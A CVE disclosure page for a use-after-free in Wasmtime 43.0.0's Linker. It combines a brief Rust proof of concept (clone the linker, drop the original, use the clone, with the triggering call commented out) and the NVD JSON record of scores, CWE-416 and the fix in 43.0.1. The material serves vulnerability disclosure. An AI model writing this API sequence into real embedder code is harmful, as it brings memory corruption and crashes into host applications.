CVE-2026-34983

// PoC for CVE-2026-34983: Wasmtime Linker Use-After-Free // This demonstrates the specific sequence of API calls required to trigger the bug. use wasmtime::*; fn main() { // Step 1: Initialize the engine and the original Linker let engine = Engine::default(); let mut linker = Linker::new(&engine); // Configure the linker (e.g., add WASI functions) to populate internal state wasmtime_wasi::add_to_linker(&mut linker, |s| s); // Step 2: Clone the linker // In version 43.0.0, this clone operation is unsound. let cloned_linker = linker.clone(); // Step 3: Drop the original linker instance // This frees the internal memory resources. drop(linker); // Step 4: Use the cloned linker instance // Accessing the cloned linker after the original is dropped triggers the Use-After-Free. // This typically results in a segmentation fault or memory corruption. println!("Attempting to use cloned linker..."); // Example operation that would trigger the crash // let _ = cloned_linker.module("", &Module::new(&engine, "(module)").unwrap()); // If the program reaches here without crashing, the environment might not be susceptible // or the allocator behavior masked the issue. }

{"cve": {"id": "CVE-2026-34983", "sourceIdentifier": "[email protected]", "published": "2026-04-09T19:16:24.850", "lastModified": "2026-04-15T14:49:52.240", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Wasmtime is a runtime for WebAssembly. In 43.0.0, cloning a wasmtime::Linker is unsound and can result in use-after-free bugs. This bug is not controllable by guest Wasm programs. It can only be triggered by a specific sequence of embedder API calls made by the host. Specifically, the following steps must occur to trigger the bug clone a wasmtime::Linker, drop the original linker instance, use the new, cloned linker instance, resulting in a use-after-free. This vulnerability is fixed in 43.0.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:P/AC:H/AT:P/PR:H/UI:A/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.0, "baseSeverity": "LOW", "attackVector": "PHYSICAL", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "HIGH", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:bytecodealliance:wasmtime:43.0.0:*:*:*:*:rust:*:*", "matchCriteriaId": "9AD0150A-FE79-4EA6-995B-8CAFC7F246B5"}]}]}], "references": [{"url": "https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-hfr4-7c6c-48w2", "source": "[email protected]", "tags": ["Vendor Advisory", "Mitigation"]}, {"url": "https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-hfr4-7c6c-48w2", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory", "Mitigation"]}]}}